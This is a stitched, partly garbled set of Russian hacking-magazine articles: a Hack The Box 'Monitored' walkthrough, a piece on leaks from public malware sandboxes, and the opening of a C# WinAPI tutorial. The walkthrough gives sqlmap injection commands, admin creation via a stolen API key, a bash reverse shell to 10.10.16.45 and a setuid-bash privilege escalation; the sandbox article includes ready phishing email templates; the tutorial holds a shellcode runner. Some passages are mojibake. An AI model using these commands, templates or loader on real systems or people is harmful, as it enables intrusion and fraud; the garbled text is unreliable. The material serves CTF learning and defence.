Глав ная стра ница сай та nagios.monitored.htb

Пе рей дя по глав ной ссыл ке, видим фор му авто риза ции монито рин говой сис- 
темы Nagios XI.

Сис тема Nagios XI

ÒÎ×ÊÀ ÎÏÎÐÛ

С име ющи мися учет ными дан ными авто ризо вать ся в сер висе не выш ло.
У Nagios XI есть веб-тер минал, но и там авто риза ция неудач на.

Со дер жимое стра ницы terminal

Ес ли учет ная запись при сутс тву ет, но авто риза ция ей не раз решена, мож но
поп робовать исполь зовать API. Но и там нужен аутен тифика тор.

https://nagios.monitored.htb/Nagios XI/api/v1/user 

Ре зуль тат зап роса к API user

По лучить аутен тифика тор мож но с помощью API authenticate, но дан ные авто- 
риза ции нуж но посылать методом POST.

curl -k https://nagios.monitored.htb/Nagios XI/api/v1/authenticate 

Ре зуль тат зап роса к API authenticate

curl  
  

-X POST -k 'https://nagios.monitored.htb/Nagios XI/api/v1/
authenticate/' -d 'username=svc&password=XjH7VCehowpR1xZB' | jq 

По луче ние аутен тифика тора

Од нако и теперь ничего нель зя сде лать. Так как дру гих вари антов нет, поп- 
робу ем най ти пуб личные экс пло иты для нашей вер сии Nagios XI. Искать
для начала мож но пря мо в Google.

По иск экс пло итов в Google

Пот ратив некото рое вре мя, я вышел на  нес коль ких уяз вимос тей
для Nagios XI, в час тнос ти CVE-2023-40931.

опи сание

Опи сание CVE-2023-40931

На стра нице  при сутс тву ет SQL-

инъ екция в парамет ре . Нем ного переб рав раз ные вари анты зап роса, я

опре делил тот, который мож но исполь зовать для экс плу ата ции уяз вимос ти.
Помимо при веден ных в статье дан ных, нуж но ука зать получен ный при аутен- 
тифика ции через API токен.

admin/banner_message-ajaxhelper.php
id

Что бы быс тро выудить все дан ные, будем исполь зовать sqlmap.

 

   

sqlmap -u "https://nagios.monitored.htb/Nagios XI/admin/
banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&
token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id --batch

Об наружен ная sqlmap наг рузка

Так как извес тны наз вание базы и таб лицы, мож но быс тро сдам пить дан ные.

 

   
 

sqlmap -u "https://nagios.monitored.htb/Nagios XI/admin/
banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&
token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id -D Nagios XI -T
xi_users --dump --batch

Дан ные из таб лицы xi_users

ÏÐÎÄÂÈÆÅÍÈÅ

В базе все го два поль зовате ля, при этом ском про мети рован ный поль- 
зователь  неак тивен.svc

Дан ные из базы дан ных

Сбру тить хеш у меня не выш ло, одна ко теперь у нас есть токен  адми- 
нис тра тора сис темы. Этот ключ мож но исполь зовать для добав ления нового
поль зовате ля, как ука зано на  Nagios XI. Что бы наш поль- 
зователь был адми нис тра тором, зададим параметр .

api_key

стра нице под дер жки
auth_level

curl  

  

-X POST -k "https://nagios.monitored.htb/Nagios XI/api/v1/
system/
user?
apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CH
LL&
pretty=1" -d "username=ralf&password=ralf&name=Ralf&email=ralf@ralf.
com&auth_level=admin"

От вет сер вера

Те перь мож но авто ризо вать ся от име ни соз данно го поль зовате ля.

Глав ная стра ница адми нис тра тора

Ад мин может выпол нять сис темные коман ды на сер вере. Для это го в глав ном
меню нуж но выб рать Congure → Core Cong Manager, а затем в панели сле- 
ва — .Commands

Ме ню Nagios XI

Стра ница Core Cong Manager

На стра нице Command Management нуж но соз дать коман ду, которая акти- 
виру ет реверс-шелл:

bash  -c 'bash -i >& /dev/tcp/10.10.16.45/4321 0>&1

Стра ница Command Management

Да вай теперь выпол ним эту коман ду. Для это го перехо дим в меню Hosts, где
соз даем новую запись. В парамет ре Check command выбира ем соз данную
ранее коман ду.

Стра ница Hosts

Стра ница Host Management

Ког да все готово, запус каем лис тенер ( ) и триг герим
коман ду кли ком по кноп ке Run Check Command.

pwncat-cs -lp 4321

Ре зуль тат выпол нения коман ды

Флаг поль зовате ля

В ито ге получа ем сес сию на сер вере от име ни поль зовате ля .nagios

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом нуж но соб рать информа цию для даль нейше го прод вижения. Я
буду исполь зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

За киды ваем на хост скрипт для Linux, даем ему пра во на выпол нение и запус- 
каем ска ниро вание. В выводе мно го информа ции, поэто му прой дем ся
по основным момен там.

Есть нес коль ко фай лов .services, куда мы можем про изво дить запись.

Файл .services

В нас трой ках sudoers — мно го команд, которые мож но выпол нить от име ни
root без вво да пароля.

Нас трой ки sudoers

Скрипт  поз воля ет

управлять мно гими служ бами, в том чис ле .

/usr/local/nagiosxi/scripts/manage_services.sh
npcd

Со дер жимое фай ла manage_services.sh

Мы можем записы вать в файл этой служ бы. Добавив в него коман ду, мы
можем, нап ример, дать пра ва супер поль зовате ля коман дной обо лоч ке:

chmod u+s /bin/bash 

Со дер жимое фай ла /usr/local/nagios/bin/npcd

Те перь оста нав лива ем и запус каем служ бу. У фай ла коман дной обо лоч ки
появил ся S-бит, а зна чит, и пра ва рута.

sudo /usr/local/Nagios XI/scripts/manage_services.sh stop npcd 
sudo /usr/local/Nagios XI/scripts/manage_services.sh start npcd 

За пуск служ бы

За ходим сно ва и забира ем флаг рута.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/danielmiessler/SecLists/tree/master/Discovery/SNMP
https://outpost24.com/blog/nagios-xi-vulnerabilities/
https://support.nagios.com/forum/viewtopic.php?t=42923
https://github.com/carlospolop/PEASS-ng
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ПРИВАТНОСТЬ

Се год ня мы раз берем слу чаи, ког да
безопас ники ком пании сами неча янно
устра ивают утеч ки дан ных сво их работо- 
дате лей и кли ентов. В этом им помога ют
«онлай новые песоч ницы», куда кор респон- 
денцию час то заг ружа ют на про вер ку. Я
изу чил кол лекцию дос тупных писем
на одном из таких сер висов и нашел
немало инте рес ного.

Итак, что бы про верить подоз ритель ное пись мо, его мож но заг рузить на спе- 
циаль ный сер вис-песоч ницу, и тот опре делит, есть ли в содер жимом фишин- 
говые гипер ссыл ки. Одна проб лема: некото рые сер висы, вро де изу чен ного
мной , на бес плат ном тарифе пре датель ски вык ладыва ют всю про- 
веря емую кор респон денцию в паб лик, а там она ста новит ся лег кой добычей
тех, от кого пред полага лось защищать ся.

Any.Run

WWW

Вот нес коль ко дру гих облачных песоч ниц,
в которых пен тесте ры так же могут поис кать
полез ную информа цию:

;•joesandbox.com
;•urlscan.io

;•tria.ge
.•hybrid-analysis.com

ÄÀÍÍÛÅ Â ÏÎÄÏÈÑßÕ

Вот прос той при мер утеч ки: на поч ту менед жера по снаб жению приш ло
подоз ритель ное пись мо с пред ложени ем зарегис три ровать ся на неко ем пор- 
тале (ско рее все го, это фишинг для кра жи регис тра цион ных дан ных). Менед- 
жер фор вар днул пись мо сот рудни ку служ бы безопас ности (при этом в сооб-
щение авто мати чес ки добави лась его под пись с кон так тны ми дан ными),
а безопас ник, не почис тив тело сооб щения, залил его в обла ко. Теперь мы
зна ем ФИО менед жера, его дол жность, адрес элек трон ной поч ты и телефон- 
ные номера, вклю чая даже мобиль ный. Алло, это служ ба безопас ности бан ка!

Ста ратель но изу чив откры тые источни ки, мож но соб рать боль шой объ ем
допол нитель ных све дений: наиме нова ния дис трибь юто ров, кли ентов и пар- 
тне ров фир мы. Если не поленить ся и заг лянуть на офи циаль ный сайт этой
ком пании, есть шанс нат кнуть ся, нап ример, на такую стра ницу.

Те перь, про явив нем ного сме кал ки и исполь зуя методы соци аль ной инже- 
нерии, мы можем отпра вить тому самому менед жеру при мер но такое элек- 
трон ное пись мо:

«

»

Óâà æàåìûé Ðàé àí Ãîñ ëèíãî âè÷.
Ìû (íàç âàíèå êîì ïàíèè ïîñ òàâùè êà) ñïå øèì ñîîá ùèòü îá èçìå- 

íåíè ÿõ â íàøèõ ïðî öåäó ðàõ çàêàçà. Ìû õîòåëè áû, ÷òî áû Âû îáðà òèëè
âíè ìàíèå íà ñëå äóþùèå èçìå íåíèÿ è ïðè íÿëè ìåðû â ñîîò âåòñ òâèè
ñ íàøèìè íîâûìè òðå áîâà íèÿìè:
1. Èç ìåíåíèå áàí êîâ ñêèõ ðåê âèçèòîâ äëÿ îïëà òû.
2. Íî âûå ôîð ìû äîêóìåí òàöèè äëÿ ïîä òâåðæäå íèÿ çàêàçîâ.
3. Îá íîâëåí íûå ïðî öåäó ðû îôîð ìëå íèÿ äîãîâî ðîâ.

Ïî ñûëà åì Âàì âî âëî æåíèè ïîä ðîáíóþ èíôîðìà öèþ îá ýòèõ îáíîâëå- 
íèÿõ. Ïîæàëóé ñòà, îçíà êîìü òåñü ñ íåé. Áëà ãîäà ðèì çà ïîíèìà íèå
è îïå ðàòèâ íîå ðåàãè ðîâà íèå íà íàøè èçìå íåíèÿ. Åñëè ó Âàñ âîç- 
íèêíóò âîï ðîñû èëè ïîò ðåáó þòñÿ óòî÷ íåíèÿ, ïîæàëóé ñòà, ñâÿ æèòåñü
ñ íàìè ïî óêà çàí íûì êîí òàê òíûì äàí íûì.

Ñ óâà æåíè åì, 
êî ìàí äà (ÎÎÎ «ÐÀÍ ÄÎÌ»)

Шан сы, что получа тель такого сооб щения, которо го наз вали по име ни-отчес- 
тву, да еще и прис лали информа цию от яко бы зна комо го кон тра ген та, отре- 
аги рует на пись мо, дос таточ но велики. Что и тре бует ся зло умыш ленни ку.

Ос торож но, две ри зак рыва ются, мы едем даль ше. Если хорошень ко
порыть ся в песоч нице, мож но най ти, нап ример, такое.

По лучал ли ты по поч те приг лашения на бес плат ные вебина ры для бух галте- 
ров, спе циалис тов по пер соналу, нед вижимос ти или для экспер тов по раз- 
ведению декора тив ных ангор ских хомяч ков? Навер няка! Вот и офис-менед- 
жеру одно го из пред при ятий пос час тли вилось попасть в чис ло приг лашен- 
ных. Но девуш ка ока залась осмотри тель ной (видимо, рань ше уже выиг рывала
кор поратив ный чем пионат по запус ку исполня емых вло жений в сооб щения
email) и ски нула это пись мо безопас нику для про вер ки. Тот решил про тес- 
тировать его через песоч ницу, в резуль тате чего спа лил дол жность, ФИО
и кон так тные дан ные адре сата исходно го пись ма. Зна ние имен сот рудни ков
адми нис тра тив ного отде ла орга низа ции откры вает широкое окно воз- 
можнос тей для зло умыш ленни ков.

Вот еще один при мер, поза имс тво ван ный на том же сер висе. Замес- 
тителю ген дирек тора по безопас ности круп ного пред при ятия пос тупило
пись мо с вло жен ным мак росом. Дол жность «замес титель ген дирек тора
по безопас ности» зву чит солид но — это очень опыт ный спе циалист в сфе ре
ИБ. Поэто му он незамед литель но поделил ся со всем челове чес твом сво ими
кон так тны ми дан ными, вклю чая номер мобиль ного телефо на, ФИО и поч- 
товый адрес на кор поратив ном сер вере. Если вдруг решишь поз вонить ему
на труб ку, переда вай пла мен ный при вет.

ÖÅÏÎ×ÊÀ ÏÅÐÅÑÛËÀÅÌÛÕ ÑÎÎÁÙÅÍÈÉ

Сле дующая по рас простра нен ности катего рия сре ди уте чек кон фиден циаль- 
ных дан ных — это ситу ация, ког да сот рудни ки отде ла безопас ности залива ют
в песоч ницу не одно пись мо, а сра зу цепоч ку пересы лаемых сооб щений.
Здесь мож но выяс нить име на, кон так тные дан ные и дол жнос ти сра зу нес- 
коль ких сот рудни ков пред при ятия (сре ди них впол не может ока зать ся и выс- 
шее руководс тво). Бонусом идут све дения о перего вор ном про цес се.

В этом слу чае зло умыш ленни ку не нуж но даже думать о теме и содер- 
жании будуще го фишин гового пись ма: все ми цен ными све дени ями с ним
любез но поделил ся спе циалист по информа цион ной безопас ности.

ÊÎÏÈÈ ÏÈÑÅÌ

Вот еще один при мер. В пись ме от зло умыш ленни ка содер жится вло жение
с под дель ной элек трон ной под писью и встро енным мак росом. Пись мо было
отправ лено на мно жес тво адре сов одной и той же ком пании — все они
перечис лены сре ди получа телей. Соб рав эти адре са и выяс нив дол жность
каж дого сот рудни ка, опыт ный соци аль ный инже нер впол не может пус тить всю
сис тему безопас ности кор порации по одно му мес ту.

ÏÎËÅÇÍÛÅ ÂËÎÆÅÍÈß

Вло жения в поч товые сооб щения могут быть не толь ко опас ными, но и край не
полез ными — нап ример, для собира юще го информа цию о потен циаль ной
жер тве хакера. Так, в этом фишин говом пись ме пред при нята попыт ка
манипу ляции с целью кра жи паролей. Из пись ма и при ложен ного докумен та
ста новит ся понят но, каким поч товым сер висом поль зует ся ком пания.

Вот текст вло жения, содер жащего наз вание исполь зуемо го сер виса и дру гие
полез ные све дения:

«

»

«Ìåæ äó ÏÀÎ xxxxxxx è ÎÎÎ xxxxx äåé ñòâó åò äîãîâîð ïîä ïèñêè № ÂÊ -
xxxxxxxxx îò 27.07.2020, êîòîðûé äàëåå ïðîä ëåâàë ñÿ íà îñíî âàíèè
Äîïîë íèòåëü íîãî ñîã ëàøåíèÿ №2 îò 31.03.2023.

Â ðàì êàõ êîí òðî ëÿ îáðà áîò êè è îáåñ ïå÷åíèÿ áåçîïàñ íîñòè ïåð- 
ñîíàëü íûõ äàí íûõ êëè åíòîâ ÏÀÎ xxxxxxx ïðî øó Âàñ ïðå äîñ òàâèòü ñëå- 
äóþùóþ èíôîðìà öèþ:

Ïå ðå÷åíü âñåõ àêêà óíòîâ, ïðè íàä ëåæàùèõ ÏÀÎ xxxxxxx;
Ëî ãè ïîä êëþ ÷åíèé, èíûõ äåé ñòâèé (ýêñïîðò äàí íûõ, èìïîðò äàí íûõ,

èçìå íåíèÿ äàí íûõ) ñóáàê êàóí òîâ è îñíîâíî ãî àêêà óíòà íà ïëàò ôîðìå
xxxxxx (ÍÀÇ ÂÀÍÈÅ ÑÅÐ ÂÈÑÀ) äëÿ ñîò ðóäíè êîâ ÏÀÎ xxxxxxx, îáåñ- 
ïå÷èòü èõ äèñ òðè áóöèþ äî êîíå÷ íûõ ïîëü çîâàòå ëåé ÏÀÎ xxxxxx,
ïî ôàê òó èñïîëíå íèÿ ñîîá ùèòü îá ýòîì íà àäðåñ ýëåê òðîí íîé ïî÷ òû
xxxxxxxx.ru»

А вот дру гой инте рес ный при мер. Круп ная неф тяная ком пания сот рудни чает
с пра витель ствен ным заказ чиком из вен гер ско го города Будапеш та. На поч ту
сот рудни ка пос тупило пись мо с офи циаль ным зап росом о пре дос тавле нии
информа ции. Перево дил пись мо с вен гер ско го сто рон ний под рядчик —
бюро перево дов. Пос коль ку отпра вите лем явля ется внеш няя орга низа ция (те
самые перевод чики), пись мо было перес лано безопас нику для про вер ки и в
резуль тате попало к нам на стол. Сооб щение я счи таю под линным, пос коль ку
в базе дан ных Any.Run оно носит помет ку «без угроз». В самом тек сте пись ма
мы видим фамилию и имя сот рудни ка, ответс твен ного за свя зи с внеш ними
кон тра ген тами, наиме нова ние перевод ческо го бюро, а так же кон такты:

«

»

«Äëÿ xxxxxxxxxxx Èðè íû.
'xxxxxxxxx Èðè íà xxxxxxx' via Áþðî ïåðåâî äîâ : 

Åëå íà, åùå âàðè àíò ïåðåâîä (PDF) íàï ðàâü òå, ïîæàëóé ñòà, íà ïî÷ òó 
xxxxxxxxx.ru 
Ñ ïîìåò êîé äëÿ ìåíÿ. 
Ñïà ñèáî!

Ñ óâà æåíè åì, xxxx Èðè íà 
Âå äóùèé ñïå öèàëèñò ñëóæ áû ïî ðàáîòå ñ âíåø íèìè êîí òðà ãåí òàìè 
ÀÎ "xxxíåôòü – Àâòî ìàòè çàöèÿ è Ìåò ðîëîãèÿ" 
ÌÀÒÑ: (xxxx) xxxx 
Òåë.: (xxx) xxx-xx-xx 
Ñ óâà æåíè åì, Åëå íà xxxxxxxxxx 
Ìå íåä æåð ïî ðàáîòå ñ äðóçü ÿìè è ïàð òíå ðàìè»

А вот само вло жение гораз до инте рес нее. Мало того что оно офор мле но
на офи циаль ном блан ке, оно содер жит кон фиден циаль ную информа цию
о пре дос тавля емых услу гах, под робнос ти о вво зе про дук ции, ее перечень.
Кро ме того, на докумен те име ются печати перевод чика и лин гвис тичес кого
бюро, а так же образцы под писей. Их доволь но-таки нет рудно под делать.

Ин форма ция о сер висах и пло щад ках, которы ми поль зует ся фир ма, об орга- 
низа циях, с которы ми она сот рудни чает, может при годить ся для более про- 
думан ной ата ки. В качес тве наг лядно го при мера исполь зования све дений
о пар тне рах и кон тра ген тах в ходе кибера так мож но вспом нить нашумев ший
слу чай, про изо шед ший в 2013 году. Ата ка была нап равле на на ком панию,
управля ющую сетью магази нов роз ничной тор говли Target Corporation.
В резуль тате фишин говой рас сылки фир ме-под рядчи ку и одно му из пос-
тавщи ков Fazio Mechanical были сли ты дан ные о мил лионах кли ентов.

Нес мотря на меры про тив подоб ных уте чек, при нятые самой ком пани ей,
кибер прес тупни ки смог ли най ти брешь у пос тавщи ка. Убыт ки, как финан- 
совые, так и репута цион ные, ока зались весь ма сущес твен ными. Зат раты
на вос ста нов ление сис темы безопас ности оце нива ются в круг лую сум- 
му 200 мил лионов дол ларов США, а судеб ные издер жки сос тавили 18,5 мил- 
лиона дол ларов. В общей слож ности кибер прес тупни ки получи ли све дения
о кре дит ных и дебето вых кар тах при мер но 40 мил лионов кли ентов, а так же
лич ные дан ные око ло 70 мил лионов покупа телей, вклю чая име на, адре са
и номера телефо нов.

ÄÀÍÍÛÅ Î ÂÍÓÒÐÅÍÍÈÕ ÑÅÐÂÈÑÀÕ

Как говорят патоло гоана томы, все самое инте рес ное кро ется внут ри. Эту глу- 
боко мыс ленную сен тенцию мож но отнести и к элек трон ным пись мам, из тех- 
ничес ких заголов ков которых мож но выудить мас су полез ной информа ции.
Пред ста вим себе такую ситу ацию: в ком панию приш ло пись мо из бан ка
и бди тель ный сот рудник служ бы безопас ности решил на вся кий слу чай про- 
верить его на Any.Run.

Пись мо ока залось под линным, толь ко вот теперь любой жела ющий может
узнать не толь ко email это го спе циалис та (адрес мож но исполь зовать
для целево го фишин га), но и спи сок внут ренних сер висов орга низа ции из его
заголов ков:

;• api.*********.ru

;• apidev.*********.ru

;• apiws.*********.ru

;• apiwsdev.*********.ru

;• baas.*********.ru

;• sandbox.*********.ru

;• wsint.*********.ru

.• wsinttest.*********.ru

Эти све дения при годят ся в про цес се поис ка уяз вимос тей и раз личных багов
в инфраструк туре ком пании. Если хорошень ко покопать ся в заголов ках, мы
можем выяс нить вер сию защит ного ПО, которое зло умыш ленни ку при дет ся
обой ти в про цес се ата ки:

X-KSMG-AntiVirus: Kaspersky Secure Mail Gateway, version 2.0.1.6960, 
bases: 2023/10/03 04:05:00 #22028123 

Так же ата кующий может узнать SMTP Relay, а по нему вый ти на дру гие
домены и внут ренние сер висы орга низа ции для рас ширения воз можных век- 
торов атак, как тех ничес ких, так и с помощью соци аль ной инже нерии:

Received: from relay7.*********.ru (a11-00210-bl.*********.ru [***.
**.108.2]) 

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÎÁÐÀÍÍÎÉ ÈÍÔÎÐÌÀÖÈÈ

Что могут извлечь пен тесте ры из подоб ных писем? Зная поч товый домен,
ата кующий навер няка исполь зует его для получе ния информа ции об орга- 
низа ции и ее сот рудни ках. Для это го отлично под ходит сер вис . Изна- 
чаль но этот ресурс задумы вал ся для поис ка полез ных биз несу кон тактов. Но у
зло умыш ленни ков дру гая цель: про верив домен, они получат спи сок всех
зарегис три рован ных поч товых ящи ков из откры тых источни ков, а иног да
и дол жнос ти (по плат ной под писке, в бес плат ной вер сии сто ит огра ниче ние
в десять адре сов).

hunter.io

Нап ример, зная домен орга низа ции, пос ле его про вер ки на  мы
находим сле дующее мыло — . Мож но пред положить,

что в орга низа ции есть некая сот рудни ца Еле на (или Ели заве та) Смир нова
(имя, конеч но, взя то с потол ка). Опи раясь на эти све дения, лезем в соци аль- 
ные сети, нап ример в LinkedIn, и пыта емся най ти это го челове ка. Если поиск
ока зал ся успе шен, изу чаем про филь и собира ем дан ные о сот рудни ке.
В даль нейшем эту информа цию в связ ке с соци аль ной инже нери ей мож но
исполь зовать для тар гетиро ван ного тес та на про ник новение.

hunter.io
e.smirnova@****.ru

Зная мно жес тво поч товых ящи ков или имея спи сок сот рудни ков по дол- 
жнос тям и отде лам, нет рудно совер шить под мену сво его адре са, прит ворив- 
шись кол легой. Тут уже начина ется фишинг: мож но, нап ример, разос лать
при мер но такое пись мо:

«

»

Äî ðîãèå êîë ëåãè,
ñïå øèì ñîîá ùèòü ðàäîñ òíóþ íîâîñòü. Â íàøåì êîë ëåêòè âå ïîïîë- 

íåíèå! 
Ãîñ ëåíêî Ðàí äîì Ãîñ ëèíãî âè÷ áûë ïðè íÿò íà ðàáîòó â êà÷åñ òâå ñïå- 
öèàëèñ òà ïî ôèí. ãðà ìîò íîñòè. Íàï ðàâëÿþ âàì ññûë êó íà ïðî ôèëü
íàøåãî ñîò ðóäíè êà, ãäå ñîäåð æàòñÿ åãî áèîã ðàôè÷åñ êèå äàí íûå.

(çäåñü ññûë êà íà ôèøèí ãîâûé ñàéò ñ ôîð ìîé ââî äà äàí íûõ
äëÿ êðà æè ëîãèíà è ïàðîëÿ)

Ïî æàëóé ñòà, îçíà êîìü òåñü ñ èíôîðìà öèåé è ïîçàáîòü òåñü î áëà- 
ãîïî ëó÷ íîé èíòåãðà öèè Ðàí äîìà â êîë ëåêòèâ.

Âñåì ñàëþò, 
Ðî ìàø êèíà Ìàøà Þçåð íåé ìîâ íà, 
Ìå íåä æåð HR 
8 800 555 35 35 
Óë. Ïóø êèíà�Êîëîòóø êèíà 1, Ìîñ êâà ...

Пись мо от сот рудни ка отде ла пер сонала, да еще и получен ное от отпра вите-
ля с «пра виль ным» адре сом, вызовет гораз до мень ше подоз рений, чем обыч- 
ная фишин говая рас сылка.

ÂÛÂÎÄÛ

Да же повер хностное иссле дова ние дан ных, опуб ликован ных в онлайн-песоч- 
ницах, показы вает, что спе циалис ты по кибер безопас ности иног да могут
пред став лять не мень шую угро зу для орга низа ции, чем ковар ные хакеры.
Несоб людение эле мен тарных пра вил циф ровой гиги ены или недос таточ ная
осве дом ленность о мерах безопас ности может при вес ти к утеч кам и ком про- 
мета ции дан ных.

Не дос таточ но баналь но про верить тех ничес кую информа цию из подоз- 
ритель ного пись ма, нап ример, что бы обна ружить под мену отпра вите ля, нуж- 
но вни матель но сле дить за тем, что и куда ты заг ружа ешь.

По мимо Any.Run, сущес тву ют аль тер натив ные плат формы, а так же плат-
ные тарифы, на которых пись ма хотя бы не сли вают в паб лик. Если в фишин- 
говом пись ме содер жится ссыл ка, ее мож но про верить с помощью сер виса

, запус кающе го бра узер в вир туаль ной машине на три минуты.
Плат ный тариф поз воля ет про водить локаль ное тес тирова ние, сни мает огра- 
ниче ния по вре мени и дает воз можность исполь зовать раз ные бра узе ры (в
бес плат ной вер сии дос тупны толь ко Edge и Chrome на Windows 10). Ана- 
логи — облачные плат формы для кросс-бра узер ного тес тирова ния

, а так же плат ные  и .

Browserling

LambdaTest Sauce Labs BrowserStack
Ну и не забыва ем про вир туаль ные машины. Исполь зование вир туалок —

рас простра нен ная прак тика безопас ного ана лиза и тес тирова ния вре донос- 
ных писем и фай лов. Они поз воля ют изо лиро вать потен циаль но вре донос ные
прог раммы от основной опе раци онной сис темы. При исполь зовании вир- 
туалок в пер вую оче редь сто ит позабо тить ся о надеж ной изо ляции вир туаль- 
ной машины от основной сети, что бы пре дот вра тить воз можную утеч ку вре- 
донос ного ПО. Безус ловно, заг рузка и нас трой ка того же бес плат ного

 пот ребу ет вре мени и опре делен ных уси лий, но зато обе зопа сит
ком панию от слу чай ной утеч ки кон фиден циаль ной информа ции в паб лик.
VirtualBox

На пос ледок хочу выразить искрен нюю бла годар ность пос тоян ному авто ру
«Хакера»  за содей ствие в написа нии этой статьи.Юрию Дру гачу
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КОДИНГ

Од ним из нем ногих минусов C# счи тает ся
некото рая слож ность при вызове методов
WinAPI. Мно гие воз можнос ти уже переко- 
чева ли в сбор ки, но до сих пор при ходит ся
час то стал кивать ся с задачей вызова фун- 
кций Win32 нап рямую. В таком слу чае
исполь зуют ся PInvoke, DInvoke и их про- 
изводные. В этой статье я покажу,
как работа ют эти методы, и мы научим ся
вызывать фун кции WinAPI из управля емо го
кода.

Раз работ чики инс тру мен тов из катего рии offensive пос тепен но отка зыва ются
от зубод робитель ных «плю сов» и герой ско го ассем бле ра и перехо дят
к более при ятным, доб рым, отзывчи вым и миловид ным язы кам. Конеч но,
опро мет чиво называть C# лег ким. В нем есть и слож ные кон цепции — поп- 
робуй челове ку с ули цы понят ным язы ком объ яснить отли чия IEnumerable
от IEnumerator, IComparer от IComparable, рас ска зать о плю сах TPL и PLINQ,
рас толко вать реф лексию, а уж про мар шалинг или внут реннее устрой ство JIT-
ком пилято ра я даже не заикаюсь (впро чем, пос ледний отно сит ся к плат- 
форме CLR).

При раз работ ке прог рамм для Windows слож но не исполь зовать WinAPI.
Конеч но, мно гие методы уже успешно пор тирова ны в отдель ные сбор ки .NET.
Нап ример, вмес то  дос таточ но обра щать ся вот к такой фун- 

кции:

GetUserName()

System.Security.Principal.WindowsIdentity.GetCurrent().Name

Впро чем, если ты захочешь коп нуть чуть глуб же, то при дешь к выводу, что
нам ного луч ше (и ста биль нее) будет обра щать ся нап рямую к методу WinAPI,
чем доверять свой код непонят ным, дав но не под держи ваемым опен сор сным
сбор кам от сим патяги инду са с GitHub.

Прос то так WinAPI не выз вать. И при ходит ся искать ухищ рения, что бы
научить управля емый код обра щать ся к натив ным методам. Давай пос- 
мотрим, что это за методы.

PLATFORM INVOKE

Platform Invoke (он же Static Invoke) — единс твен ный «легаль ный» вызов
методов WinAPI из C#. Он отлично опи сан в 

.
офи циаль ной докумен тации

Microsoft
Ис поль зовать его прос то — все завяза но на дирек тиве . Сна- 

чала в нашем коде на C# идет объ явле ние целевой фун кции для вызова, ука- 
зание DLL, из которой эту фун кцию брать, а пос ле мож но сме ло обра щать ся
к ней из управля емо го кода.

DllImport

Нап ример, так может выг лядеть стан дар тный шелл-код-ран нер через
, ,  и :VirtualAlloc() memcpy() CreateThread() WaitForSingleObject()

[DllImport("kernel32.dll")]
       

    
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize
, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
      

       
   

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint
dwCreationFlags, out uint lpThreadId);

[DllImport("kernel32.dll")]
      
 

public static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);

    public static void StartShellcode(byte[] shellcode)
{
  uint threadId;

      
   

IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(
AllocationType.Commit | AllocationType.Reserve), (uint)
MemoryProtection.ExecuteReadWrite);
     if (alloc == IntPtr.Zero) {
   return;
 }

    Marshal.Copy(shellcode, 0, alloc, shellcode.Length);
       

   
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.

Zero, 0, out threadId);
  WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}

В дан ном слу чае соз дают ся пол ноцен ные про тоти пы исполь зуемых натив ных
фун кций. Отдель но обра щу вни мание на ука зание целевой биб лиоте ки,
из которой они вызыва ются. Такой механизм очень похож на вызов этих же
самых фун кций из кода на C++.

При таком спо собе вызова опи сан ные раз работ чиком фун кции добав- 
ляют ся в спе циаль ный раз дел импорта, который потом резол вится, и появ- 
ляют ся адре са, по которым переда ется поток управле ния для вызова метода.

Не сто ит путать этот раз дел со стан дар тным раз делом импортов. Натив- 
ные фун кции, объ явленные через Platform Invoke, ока зыва ются в таб лице

, в раз деле с метадан ными CLR-сбор ки. Этот самый раз дел авто- 

мати чес ки добав ляет ся в PE-файл.

ImplMap

Как выг лядит таб лица ImplMap

К счастью, сиг натуры (это стро ка  плюс про тотип фун кции) самос- 

тоятель но писать не нуж но. Дос таточ но заг лянуть на один из сай тов с готовы- 
ми вари анта ми:

DllImport

 — самый популяр ный вари ант, который, увы, иног да не откры- 
вает ся;

• pinvoke.net

 — тьфу-тьфу, пока работа ет;• pinvoke.dev
 — тоже вык лючил ся.• p-invoke.net

Как ты видишь, в наше суровое вре мя полагать ся толь ко на веб-стра ницы
может быть оши боч но, поэто му качай , написан- 
ный в Microsoft. Он уж никуда не про падет... ско рее все го.

ге нера тор P/Invoke-сиг натур

Что ж, любая прос тота и абс трак ция при раз работ ке инс тру мен тов ата ки
работа ет как в плюс (упро щает жизнь ред тимерам), так и в минус (усложня ет
жизнь ред тимерам). Ведь рас парсить таб лицу  и понять, какие

методы WinAPI исполь зуют ся, не сос тавит тру да. Это мож но сде лать даже
на PowerShell.

ImplMap

$assembly = "C:\File.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new(
$stream, [System.Reflection.PortableExecutable.PEStreamOptions]::
LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions
]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::
GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
